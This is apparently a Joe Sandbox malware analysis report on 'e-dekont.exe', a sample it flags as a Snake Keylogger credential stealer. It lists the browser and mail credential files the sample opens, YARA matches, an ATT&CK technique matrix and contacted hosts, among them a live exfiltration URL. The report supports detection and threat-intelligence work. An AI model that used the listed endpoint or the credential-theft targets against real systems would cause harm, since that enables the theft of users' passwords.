Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Users\user\Desktop\e-dekont.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e-dekont.exe PID: 7268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e-dekont.exe PID: 7424, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\e-dekont.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\e-dekont.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e-dekont.exe PID: 7268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e-dekont.exe PID: 7424, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.e-dekont.exe.4720090.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.e-dekont.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.4720090.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.46bd870.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont.exe.465b050.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e-dekont.exe PID: 7268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e-dekont.exe PID: 7424, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
e-dekont.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
e-dekont.exe	62%	Virustotal		Browse
e-dekont.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
reallyfreegeoip.org	2%	Virustotal	Browse
scratchdreams.tk	17%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.tiro.com	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://tempuri.org/DataSet1.xsd	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/154.16.105.36$	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	Avira URL Cloud	safe
http://tempuri.org/DataSet1.xsd	2%	Virustotal		Browse
https://scratchdreams.tk	100%	Avira URL Cloud	malware
http://www.founder.com.cn/cn/bThe	0%	Virustotal		Browse
http://www.founder.com.cn/cn	0%	Virustotal		Browse
https://reallyfreegeoip.org/xml/154.16.105.36	0%	Avira URL Cloud	safe
https://scratchdreams.tk	16%	Virustotal		Browse
https://scratchdreams.tk/_send_.php?TS	100%	Avira URL Cloud	malware
http://www.zhongyicts.com.cn	0%	Avira URL Cloud	safe
http://scratchdreams.tk	100%	Avira URL Cloud	malware
https://scratchdreams.tk/_send_.php?TS	14%	Virustotal		Browse
http://www.zhongyicts.com.cn	1%	Virustotal		Browse
http://scratchdreams.tk	17%	Virustotal		Browse
http://www.founder.com.cn/cn/cThe	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reallyfreegeoip.org	104.21.67.152	true	false	2%, Virustotal, Browse	unknown
scratchdreams.tk	104.21.27.85	true	false	17%, Virustotal, Browse	unknown
checkip.dyndns.com	158.101.44.242	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/154.16.105.36	false	Avira URL Cloud: safe	unknown
https://scratchdreams.tk/_send_.php?TS	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/154.16.105.36$	e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/DataSet1.xsd	e-dekont.exe	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.tiro.com	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003056000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003131000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	e-dekont.exe, 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://scratchdreams.tk	e-dekont.exe, 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://reallyfreegeoip.org	e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003081000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030AB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	e-dekont.exe, 00000002.00000002.4088425866.0000000003124000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003116000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.00000000030FB000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003150000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	e-dekont.exe, 00000002.00000002.4088425866.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	e-dekont.exe, 00000000.00000002.1664799082.0000000006C42000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000000.00000002.1664762334.00000000054D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://scratchdreams.tk	e-dekont.exe, 00000002.00000002.4088425866.0000000003160000.00000004.00000800.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org/xml/	e-dekont.exe, 00000000.00000002.1662409618.00000000044BE000.00000004.00000800.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4086321706.0000000000402000.00000040.00000400.00020000.00000000.sdmp, e-dekont.exe, 00000002.00000002.4088425866.0000000003068000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.27.85	scratchdreams.tk	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430774
Start date and time:	2024-04-24 07:08:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	e-dekont.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@4/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 211 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:09:05	API Interceptor	9800589x Sleep call for process: e-dekont.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.67.152	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse
	58208 Teklif.exe	Get hash	malicious	Snake Keylogger	Browse
	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse
	SAT8765456000.xlam.xlsx	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
158.101.44.242	Pnihosiyvr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	PsBygexGwH.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SAT8765456000.xlam.xlsx	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	checkip.dyndns.org/
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	lxdriver_setup.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	Hitomi Downloader.exe	Get hash	malicious	Agent Tesla, AgentTesla, RisePro Stealer	Browse	checkip.dyndns.org/
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ATM Dekont E-Maili pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	Halkbank_Ekstre_20240312_081829_752731.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	ATTHACHED SCAN-P.O SPECIFICATIONS.009.24. 001.doc	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	order.exe	Get hash	malicious	Unknown	Browse	158.101.44.242
	0FvHGK2cyk.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	193.122.6.168
	M0uVrW4HJb.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	132.226.247.73
	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	sample1.exe	Get hash	malicious	SeclesBot, TrojanRansom	Browse	132.226.247.73
	UbMsBrTi5s.exe	Get hash	malicious	Unknown	Browse	193.122.6.168
	Pnihosiyvr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	BmLue8t2V7.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	gZIZ5eyCtS.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
scratchdreams.tk	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	PsBygexGwH.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	58208 Teklif.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
reallyfreegeoip.org	rSyDiExlek.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Pnihosiyvr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	BmLue8t2V7.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	gZIZ5eyCtS.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	edlyEKgpaz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	PsBygexGwH.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	58208 Teklif.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
